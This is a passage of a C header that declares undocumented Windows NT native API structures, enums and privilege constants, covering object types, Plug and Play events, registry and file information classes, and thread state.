*POBJECT_NAME_INFORMATION; typedef struct _OBJECT_TYPE_INFORMATION { UNICODE_STRING TypeName; ULONG TotalNumberOfObjects; ULONG TotalNumberOfHandles; ULONG TotalPagedPoolUsage; ULONG TotalNonPagedPoolUsage; ULONG TotalNamePoolUsage; ULONG TotalHandleTableUsage; ULONG HighWaterNumberOfObjects; ULONG HighWaterNumberOfHandles; ULONG HighWaterPagedPoolUsage; ULONG HighWaterNonPagedPoolUsage; ULONG HighWaterNamePoolUsage; ULONG HighWaterHandleTableUsage; ULONG InvalidAttributes; GENERIC_MAPPING GenericMapping; ULONG ValidAccessMask; BOOLEAN SecurityRequired; BOOLEAN MaintainHandleCount; ULONG PoolType; ULONG DefaultPagedPoolCharge; ULONG DefaultNonPagedPoolCharge; } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; typedef struct _OBJECT_TYPES_INFORMATION { ULONG NumberOfTypes; OBJECT_TYPE_INFORMATION TypeInformation; } OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; typedef struct _OBJECT_HANDLE_FLAG_INFORMATION { BOOLEAN Inherit; BOOLEAN ProtectFromClose; } OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; typedef enum _PLUGPLAY_EVENT_CATEGORY { HardwareProfileChangeEvent, TargetDeviceChangeEvent, DeviceClassChangeEvent, CustomDeviceEvent, DeviceInstallEvent, DeviceArrivalEvent, PowerEvent, VetoEvent, BlockedDriverEvent, InvalidIDEvent, MaxPlugEventCategory } PLUGPLAY_EVENT_CATEGORY, *PPLUGPLAY_EVENT_CATEGORY; typedef enum _PNP_VETO_TYPE { PNP_VetoTypeUnknown, // Name is unspecified PNP_VetoLegacyDevice, // Name is an Instance Path PNP_VetoPendingClose, // Name is an Instance Path PNP_VetoWindowsApp, // Name is a Module PNP_VetoWindowsService, // Name is a Service PNP_VetoOutstandingOpen, // Name is an Instance Path PNP_VetoDevice, // Name is an Instance Path PNP_VetoDriver, // Name is a Driver Service Name PNP_VetoIllegalDeviceRequest, // Name is an Instance Path PNP_VetoInsufficientPower, // Name is unspecified PNP_VetoNonDisableable, // Name is an Instance Path PNP_VetoLegacyDriver, // Name is a Service PNP_VetoInsufficientRights // Name is unspecified } PNP_VETO_TYPE, *PPNP_VETO_TYPE; typedef struct _PLUGPLAY_EVENT_BLOCK { // // Common event data // GUID EventGuid; PLUGPLAY_EVENT_CATEGORY EventCategory; PULONG Result; ULONG Flags; ULONG TotalSize; PVOID DeviceObject; union { struct { GUID ClassGuid; WCHAR SymbolicLinkName[1]; } DeviceClass; struct { WCHAR DeviceIds[1]; } TargetDevice; struct { WCHAR DeviceId[1]; } InstallDevice; struct { PVOID NotificationStructure; WCHAR DeviceIds[1]; } CustomNotification; struct { PVOID Notification; } ProfileNotification; struct { ULONG NotificationCode; ULONG NotificationData; } PowerNotification; struct { PNP_VETO_TYPE VetoType; WCHAR DeviceIdVetoNameBuffer[1]; // DeviceIdVetoName } VetoNotification; struct { GUID BlockedDriverGuid; } BlockedDriverNotification; struct { WCHAR ParentId[1]; } InvalidIDNotification; } u; } PLUGPLAY_EVENT_BLOCK, *PPLUGPLAY_EVENT_BLOCK; typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; #define MDL_HASH_TABLE_SIZE 64 #define MDL_HASH_MASK (MDL_HASH_TABLE_SIZE-1) #define MDL_HASH_INDEX(wch) ((RtlUpcaseUnicodeChar((wch)) - (WCHAR)'A') & MDL_HASH_MASK) #if !defined(_WINNT_) #define HEAP_MAKE_TAG_FLAGS( b, o ) ((ULONG)((b) + ((o) << 18))) #endif #define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS typedef struct _TIME_FIELDS { CSHORT Year; // range [1601...] CSHORT Month; // range [1..12] CSHORT Day; // range [1..31] CSHORT Hour; // range [0..23] CSHORT Minute; // range [0..59] CSHORT Second; // range [0..59] CSHORT Milliseconds;// range [0..999] CSHORT Weekday; // range [0..6] == [Sunday..Saturday] } TIME_FIELDS; typedef TIME_FIELDS *PTIME_FIELDS; typedef struct _RTL_TIME_ZONE_INFORMATION { LONG Bias; WCHAR StandardName[ 32 ]; TIME_FIELDS StandardStart; LONG StandardBias; WCHAR DaylightName[ 32 ]; TIME_FIELDS DaylightStart; LONG DaylightBias; } RTL_TIME_ZONE_INFORMATION, *PRTL_TIME_ZONE_INFORMATION; typedef struct _RTL_BITMAP_RUN { ULONG StartingIndex; ULONG NumberOfBits; } RTL_BITMAP_RUN; typedef RTL_BITMAP_RUN *PRTL_BITMAP_RUN; typedef struct _PARSE_MESSAGE_CONTEXT { ULONG fFlags; ULONG cwSavColumn; SIZE_T iwSrc; SIZE_T iwDst; SIZE_T iwDstSpace; va_list lpvArgStart; } PARSE_MESSAGE_CONTEXT, *PPARSE_MESSAGE_CONTEXT; typedef enum _RTL_RXACT_OPERATION { RtlRXactOperationDelete = 1, // Causes sub-key to be deleted RtlRXactOperationSetValue, // Sets sub-key value (creates key(s) if necessary) RtlRXactOperationDelAttribute, RtlRXactOperationSetAttribute } RTL_RXACT_OPERATION, *PRTL_RXACT_OPERATION; typedef struct _RTL_RXACT_LOG { ULONG OperationCount; ULONG LogSize; ULONG LogSizeInUse; #if defined(_M_X64) ULONG Alignment; #endif } RTL_RXACT_LOG, *PRTL_RXACT_LOG; typedef struct _RTL_RXACT_CONTEXT { HANDLE RootRegistryKey; HANDLE RXactKey; BOOLEAN HandlesValid; PRTL_RXACT_LOG RXactLog; } RTL_RXACT_CONTEXT, *PRTL_RXACT_CONTEXT; #define MAXIMUM_LEADBYTES 12 typedef struct _CPTABLEINFO { USHORT CodePage; // code page number USHORT MaximumCharacterSize; // max length (bytes) of a char USHORT DefaultChar; // default character (MB) USHORT UniDefaultChar; // default character (Unicode) USHORT TransDefaultChar; // translation of default char (Unicode) USHORT TransUniDefaultChar; // translation of Unic default char (MB) USHORT DBCSCodePage; // Non 0 for DBCS code pages UCHAR LeadByte[MAXIMUM_LEADBYTES]; // lead byte ranges PUSHORT MultiByteTable; // pointer to MB translation table PVOID WideCharTable; // pointer to WC translation table PUSHORT DBCSRanges; // pointer to DBCS ranges PUSHORT DBCSOffsets; // pointer to DBCS offsets } CPTABLEINFO, *PCPTABLEINFO; typedef struct _NLSTABLEINFO { CPTABLEINFO OemTableInfo; CPTABLEINFO AnsiTableInfo; PUSHORT UpperCaseTable; // 844 format upcase table PUSHORT LowerCaseTable; // 844 format lower case table } NLSTABLEINFO, *PNLSTABLEINFO; #define RTL_RANGE_LIST_SHARED_OK 0x00000001 #define RTL_RANGE_LIST_NULL_CONFLICT_OK 0x00000002 typedef struct _RTL_RANGE { ULONGLONG Start; // Read only ULONGLONG End; // Read only PVOID UserData; // Read/Write PVOID Owner; // Read/Write UCHAR Attributes; // Read/Write UCHAR Flags; // Read only } RTL_RANGE, *PRTL_RANGE; typedef BOOLEAN (*PRTL_CONFLICT_RANGE_CALLBACK) ( IN PVOID Context, IN PRTL_RANGE Range ); typedef enum _EVENT_INFORMATION_CLASS { EventBasicInformation } EVENT_INFORMATION_CLASS; typedef enum _PLUGPLAY_CONTROL_CLASS { PlugPlayControlEnumerateDevice, PlugPlayControlRegisterNewDevice, PlugPlayControlDeregisterDevice, PlugPlayControlInitializeDevice, PlugPlayControlStartDevice, PlugPlayControlUnlockDevice, PlugPlayControlQueryAndRemoveDevice, PlugPlayControlUserResponse, PlugPlayControlGenerateLegacyDevice, PlugPlayControlGetInterfaceDeviceList, PlugPlayControlProperty, PlugPlayControlDeviceClassAssociation, PlugPlayControlGetRelatedDevice, PlugPlayControlGetInterfaceDeviceAlias, PlugPlayControlDeviceStatus, PlugPlayControlGetDeviceDepth, PlugPlayControlQueryDeviceRelations, PlugPlayControlTargetDeviceRelation, PlugPlayControlQueryConflictList, PlugPlayControlRetrieveDock, PlugPlayControlResetDevice, PlugPlayControlHaltDevice, PlugPlayControlGetBlockedDriverList, MaxPlugPlayControl } PLUGPLAY_CONTROL_CLASS, *PPLUGPLAY_CONTROL_CLASS; typedef VOID (*PPS_APC_ROUTINE) ( _In_opt_ PVOID ApcArgument1, _In_opt_ PVOID ApcArgument2, _In_opt_ PVOID ApcArgument3 ); typedef enum _KEY_INFORMATION_CLASS { KeyBasicInformation, KeyNodeInformation, KeyFullInformation, KeyNameInformation, KeyCachedInformation, KeyFlagsInformation, MaxKeyInfoClass } KEY_INFORMATION_CLASS; typedef struct _KEY_BASIC_INFORMATION { LARGE_INTEGER LastWriteTime; ULONG TitleIndex; ULONG NameLength; WCHAR Name[1]; } KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; typedef enum _KEY_VALUE_INFORMATION_CLASS { KeyValueBasicInformation, KeyValueFullInformation, KeyValuePartialInformation, KeyValueFullInformationAlign64, KeyValuePartialInformationAlign64, MaxKeyValueInfoClass } KEY_VALUE_INFORMATION_CLASS; // // Value entry query structures // 14.09.11 typedef struct _KEY_VALUE_BASIC_INFORMATION { ULONG TitleIndex; ULONG Type; ULONG NameLength; WCHAR Name[1]; // Variable size } KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; typedef struct _KEY_VALUE_FULL_INFORMATION { ULONG TitleIndex; ULONG Type; ULONG DataOffset; ULONG DataLength; ULONG NameLength; WCHAR Name[1]; // Variable size // Data[1]; // Variable size data not declared } KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; typedef struct _KEY_VALUE_PARTIAL_INFORMATION { ULONG TitleIndex; ULONG Type; ULONG DataLength; UCHAR Data[1]; // Variable size } KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { ULONG Type; ULONG DataLength; UCHAR Data[1]; // Variable size } KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; typedef struct _KEY_VALUE_ENTRY { PUNICODE_STRING ValueName; ULONG DataLength; ULONG DataOffset; ULONG Type; } KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; // // end of value info // typedef enum _KEY_SET_INFORMATION_CLASS { KeyWriteTimeInformation, KeyUserFlagsInformation, MaxKeySetInfoClass } KEY_SET_INFORMATION_CLASS; #define SE_CREATE_TOKEN_NAME TEXT("SeCreateTokenPrivilege") #define SE_ASSIGNPRIMARYTOKEN_NAME TEXT("SeAssignPrimaryTokenPrivilege") #define SE_LOCK_MEMORY_NAME TEXT("SeLockMemoryPrivilege") #define SE_INCREASE_QUOTA_NAME TEXT("SeIncreaseQuotaPrivilege") #define SE_UNSOLICITED_INPUT_NAME TEXT("SeUnsolicitedInputPrivilege") #define SE_MACHINE_ACCOUNT_NAME TEXT("SeMachineAccountPrivilege") #define SE_TCB_NAME TEXT("SeTcbPrivilege") #define SE_SECURITY_NAME TEXT("SeSecurityPrivilege") #define SE_TAKE_OWNERSHIP_NAME TEXT("SeTakeOwnershipPrivilege") #define SE_LOAD_DRIVER_NAME TEXT("SeLoadDriverPrivilege") #define SE_SYSTEM_PROFILE_NAME TEXT("SeSystemProfilePrivilege") #define SE_SYSTEMTIME_NAME TEXT("SeSystemtimePrivilege") #define SE_PROF_SINGLE_PROCESS_NAME TEXT("SeProfileSingleProcessPrivilege") #define SE_INC_BASE_PRIORITY_NAME TEXT("SeIncreaseBasePriorityPrivilege") #define SE_CREATE_PAGEFILE_NAME TEXT("SeCreatePagefilePrivilege") #define SE_CREATE_PERMANENT_NAME TEXT("SeCreatePermanentPrivilege") #define SE_BACKUP_NAME TEXT("SeBackupPrivilege") #define SE_RESTORE_NAME TEXT("SeRestorePrivilege") #define SE_SHUTDOWN_NAME TEXT("SeShutdownPrivilege") #define SE_DEBUG_NAME TEXT("SeDebugPrivilege") #define SE_AUDIT_NAME TEXT("SeAuditPrivilege") #define SE_SYSTEM_ENVIRONMENT_NAME TEXT("SeSystemEnvironmentPrivilege") #define SE_CHANGE_NOTIFY_NAME TEXT("SeChangeNotifyPrivilege") #define SE_REMOTE_SHUTDOWN_NAME TEXT("SeRemoteShutdownPrivilege") #define SE_UNDOCK_NAME TEXT("SeUndockPrivilege") #define SE_SYNC_AGENT_NAME TEXT("SeSyncAgentPrivilege") #define SE_ENABLE_DELEGATION_NAME TEXT("SeEnableDelegationPrivilege") #define SE_MANAGE_VOLUME_NAME TEXT("SeManageVolumePrivilege") #define SE_IMPERSONATE_NAME TEXT("SeImpersonatePrivilege") // #define SE_CREATE_GLOBAL_PRIVILEGE TEXT("SeCreateGlobalPrivilege") // #define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE TEXT("SeTrustedCredmanAccessPrivilege") // #define SE_RELABEL_PRIVILEGE TEXT("SeReLabelPrivilege") #define SE_CREATE_GLOBAL_NAME TEXT("SeCreateGlobalPrivilege") // Privileges #define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) #define SE_CREATE_TOKEN_PRIVILEGE (2L) #define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) #define SE_LOCK_MEMORY_PRIVILEGE (4L) #define SE_INCREASE_QUOTA_PRIVILEGE (5L) #define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) #define SE_TCB_PRIVILEGE (7L) #define SE_SECURITY_PRIVILEGE (8L) #define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) #define SE_LOAD_DRIVER_PRIVILEGE (10L) #define SE_SYSTEM_PROFILE_PRIVILEGE (11L) #define SE_SYSTEMTIME_PRIVILEGE (12L) #define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) #define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) #define SE_CREATE_PAGEFILE_PRIVILEGE (15L) #define SE_CREATE_PERMANENT_PRIVILEGE (16L) #define SE_BACKUP_PRIVILEGE (17L) #define SE_RESTORE_PRIVILEGE (18L) #define SE_SHUTDOWN_PRIVILEGE (19L) #define SE_DEBUG_PRIVILEGE (20L) #define SE_AUDIT_PRIVILEGE (21L) #define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) #define SE_CHANGE_NOTIFY_PRIVILEGE (23L) #define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) #define SE_UNDOCK_PRIVILEGE (25L) #define SE_SYNC_AGENT_PRIVILEGE (26L) #define SE_ENABLE_DELEGATION_PRIVILEGE (27L) #define SE_MANAGE_VOLUME_PRIVILEGE (28L) #define SE_IMPERSONATE_PRIVILEGE (29L) #define SE_CREATE_GLOBAL_PRIVILEGE (30L) #define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) #define SE_RELABEL_PRIVILEGE (32L) #define SE_INC_WORKING_SET_PRIVILEGE (33L) #define SE_TIME_ZONE_PRIVILEGE (34L) #define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) #define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef struct _CLIENT_ID32 { ULONG UniqueProcess; ULONG UniqueThread; } CLIENT_ID32, *PCLIENT_ID32; typedef struct _CLIENT_ID64 { ULONGLONG UniqueProcess; ULONGLONG UniqueThread; } CLIENT_ID64, *PCLIENT_ID64; #include typedef struct _KSYSTEM_TIME { ULONG LowPart; LONG High1Time; LONG High2Time; } KSYSTEM_TIME, *PKSYSTEM_TIME; #include // // FILE_INFORMATION // //readded 17.09.11 EP_X0FF typedef struct _FILE_BASIC_INFORMATION { // ntddk wdm nthal LARGE_INTEGER CreationTime; // ntddk wdm nthal LARGE_INTEGER LastAccessTime; // ntddk wdm nthal LARGE_INTEGER LastWriteTime; // ntddk wdm nthal LARGE_INTEGER ChangeTime; // ntddk wdm nthal ULONG FileAttributes; // ntddk wdm nthal } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; // ntddk wdm nthal typedef struct _FILE_STANDARD_INFORMATION { LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG NumberOfLinks; UCHAR DeletePending; UCHAR Directory; } FILE_STANDARD_INFORMATION; typedef struct _FILE_INTERNAL_INFORMATION { LARGE_INTEGER IndexNumber; } FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; typedef struct _FILE_EA_INFORMATION { ULONG EaSize; } FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; typedef struct _FILE_ACCESS_INFORMATION { ACCESS_MASK AccessFlags; } FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; typedef struct _FILE_POSITION_INFORMATION { // ntddk wdm nthal LARGE_INTEGER CurrentByteOffset; // ntddk wdm nthal } FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; // ntddk wdm nthal // ntddk wdm nthal typedef struct _FILE_MODE_INFORMATION { ULONG Mode; } FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; typedef struct _FILE_ALIGNMENT_INFORMATION { // ntddk nthal ULONG AlignmentRequirement; // ntddk nthal } FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; // ntddk nthal // ntddk nthal typedef struct _FILE_NAME_INFORMATION { // ntddk ULONG FileNameLength; // ntddk WCHAR FileName[1]; // ntddk } FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; // ntddk typedef struct _FILE_ALL_INFORMATION { FILE_BASIC_INFORMATION BasicInformation; FILE_STANDARD_INFORMATION StandardInformation; FILE_INTERNAL_INFORMATION InternalInformation; FILE_EA_INFORMATION EaInformation; FILE_ACCESS_INFORMATION AccessInformation; FILE_POSITION_INFORMATION PositionInformation; FILE_MODE_INFORMATION ModeInformation; FILE_ALIGNMENT_INFORMATION AlignmentInformation; FILE_NAME_INFORMATION NameInformation; } FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; typedef struct _FILE_NETWORK_OPEN_INFORMATION { // ntddk wdm nthal LARGE_INTEGER CreationTime; // ntddk wdm nthal LARGE_INTEGER LastAccessTime; // ntddk wdm nthal LARGE_INTEGER LastWriteTime; // ntddk wdm nthal LARGE_INTEGER ChangeTime; // ntddk wdm nthal LARGE_INTEGER AllocationSize; // ntddk wdm nthal LARGE_INTEGER EndOfFile; // ntddk wdm nthal ULONG FileAttributes; // ntddk wdm nthal } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; // ntddk wdm nthal // ntddk wdm nthal typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { // ntddk nthal ULONG FileAttributes; // ntddk nthal ULONG ReparseTag; // ntddk nthal } FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; // ntddk nthal // ntddk nthal typedef struct _FILE_ALLOCATION_INFORMATION { LARGE_INTEGER AllocationSize; } FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; typedef struct _FILE_COMPRESSION_INFORMATION { LARGE_INTEGER CompressedFileSize; USHORT CompressionFormat; UCHAR CompressionUnitShift; UCHAR ChunkShift; UCHAR ClusterShift; UCHAR Reserved[3]; } FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; typedef struct _FILE_DISPOSITION_INFORMATION { // ntddk nthal BOOLEAN DeleteFile; // ntddk nthal } FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; // ntddk nthal // ntddk nthal typedef struct _FILE_END_OF_FILE_INFORMATION { // ntddk nthal LARGE_INTEGER EndOfFile; // ntddk nthal } FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; // ntddk nthal // ntddk nthal typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { // ntddk nthal LARGE_INTEGER ValidDataLength; // ntddk nthal } FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; // ntddk nthal typedef struct _FILE_LINK_INFORMATION { BOOLEAN ReplaceIfExists; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; typedef struct _FILE_MOVE_CLUSTER_INFORMATION { ULONG ClusterCount; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; typedef struct _FILE_RENAME_INFORMATION { BOOLEAN ReplaceIfExists; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; typedef struct _FILE_STREAM_INFORMATION { ULONG NextEntryOffset; ULONG StreamNameLength; LARGE_INTEGER StreamSize; LARGE_INTEGER StreamAllocationSize; WCHAR StreamName[1]; } FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; typedef struct _FILE_TRACKING_INFORMATION { HANDLE DestinationFile; ULONG ObjectInformationLength; CHAR ObjectInformation[1]; } FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; typedef struct _FILE_COMPLETION_INFORMATION { HANDLE Port; PVOID Key; } FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; typedef struct _FILE_PIPE_INFORMATION { ULONG ReadMode; ULONG CompletionMode; } FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; typedef struct _FILE_PIPE_LOCAL_INFORMATION { ULONG NamedPipeType; ULONG NamedPipeConfiguration; ULONG MaximumInstances; ULONG CurrentInstances; ULONG InboundQuota; ULONG ReadDataAvailable; ULONG OutboundQuota; ULONG WriteQuotaAvailable; ULONG NamedPipeState; ULONG NamedPipeEnd; } FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; typedef struct _FILE_PIPE_REMOTE_INFORMATION { LARGE_INTEGER CollectDataTime; ULONG MaximumCollectionCount; } FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { ULONG MaximumMessageSize; ULONG MailslotQuota; ULONG NextMessageSize; ULONG MessagesAvailable; LARGE_INTEGER ReadTimeout; } FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; typedef struct _FILE_MAILSLOT_SET_INFORMATION { PLARGE_INTEGER ReadTimeout; } FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; typedef struct _FILE_REPARSE_POINT_INFORMATION { LONGLONG FileReference; ULONG Tag; } FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; // // NtQuery(Set)EaFile // // The offset for the start of EaValue is EaName[EaNameLength + 1] // // begin_ntddk begin_wdm typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1]; } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; // end_ntddk end_wdm typedef struct _FILE_GET_EA_INFORMATION { ULONG NextEntryOffset; UCHAR EaNameLength; CHAR EaName[1]; } FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; // // NtQuery(Set)QuotaInformationFile // typedef struct _FILE_GET_QUOTA_INFORMATION { ULONG NextEntryOffset; ULONG SidLength; SID Sid; } FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; typedef struct _FILE_QUOTA_INFORMATION { ULONG NextEntryOffset; ULONG SidLength; LARGE_INTEGER ChangeTime; LARGE_INTEGER QuotaUsed; LARGE_INTEGER QuotaThreshold; LARGE_INTEGER QuotaLimit; SID Sid; } FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; // // NtQueryDirectoryFile return types: // // FILE_DIRECTORY_INFORMATION // FILE_FULL_DIR_INFORMATION // FILE_ID_FULL_DIR_INFORMATION // FILE_BOTH_DIR_INFORMATION // FILE_ID_BOTH_DIR_INFORMATION // FILE_NAMES_INFORMATION // FILE_OBJECTID_INFORMATION // typedef struct _FILE_DIRECTORY_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; WCHAR FileName[1]; } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; typedef struct _FILE_FULL_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; WCHAR FileName[1]; } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; typedef struct _FILE_ID_FULL_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; LARGE_INTEGER FileId; WCHAR FileName[1]; } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; typedef struct _FILE_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; typedef struct _FILE_ID_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; LARGE_INTEGER FileId; WCHAR FileName[1]; } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; typedef struct _FILE_NAMES_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; typedef struct _FILE_OBJECTID_INFORMATION { LONGLONG FileReference; UCHAR ObjectId[16]; union { struct { UCHAR BirthVolumeId[16]; UCHAR BirthObjectId[16]; UCHAR DomainId[16]; } ; UCHAR ExtendedInfo[48]; }; } FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; // // SYSTEM_INFORMATION // typedef struct _SYSTEM_GDI_DRIVER_INFORMATION { UNICODE_STRING DriverName; PVOID ImageAddress; PVOID SectionPointer; PVOID EntryPoint; PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; ULONG ImageLength; } SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; typedef struct _SYSTEM_EXCEPTION_INFORMATION { ULONG AlignmentFixupCount; ULONG ExceptionDispatchCount; ULONG FloatingEmulationCount; ULONG ByteWordEmulationCount; } SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; // // taken from http://www.acc.umu.se/~bosse/ntifs.h - contents are questionable. // typedef enum _THREAD_STATE { StateInitialized, StateReady, StateRunning, StateStandby, StateTerminated, StateWait, StateTransition, StateUnknown } THREAD_STATE; typedef enum _KWAIT_REASON { Executive, FreePage, PageIn, PoolAllocation, DelayExecution, Suspended, UserRequest, WrExecutive, WrFreePage, WrPageIn, WrPoolAllocation, WrDelayExecution, WrSuspended, WrUserRequest, WrEventPair, WrQueue, WrLpcReceive, WrLpcReply, WrVirtualMemory, WrPageOut, WrRendezvous, Spare2, Spare3, Spare4, Spare5, Spare6, WrKernel, WrResource, WrPushLock, WrMutex, WrQuantumEnd, WrDispatchInt, WrPreempted, WrYieldExecution, WrFastMutex, WrGuardedMutex, WrRundown, MaximumWaitReason } KWAIT_REASON; //FIXED 21.02.2011 size for x64/x86 typedef struct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; THREAD_STATE State; KWAIT_REASON WaitReason; } SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION { SYSTEM_THREAD_INFORMATION ThreadInfo; PVOID StackBase; PVOID StackLimit; PVOID Win32StartAddress; ULONG_PTR Reserved1; ULONG_PTR Reserved2; ULONG_PTR Reserved3; ULONG_PTR Reserved4; } SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION; typedef struct _SYSTEM_POOL_ENTRY { BOOLEAN Allocated; BOOLEAN Spare0; USHORT AllocatorBackTraceIndex; ULONG Size; union { UCHAR Tag[4]; ULONG TagUlong; PVOID ProcessChargedQuota; }; } 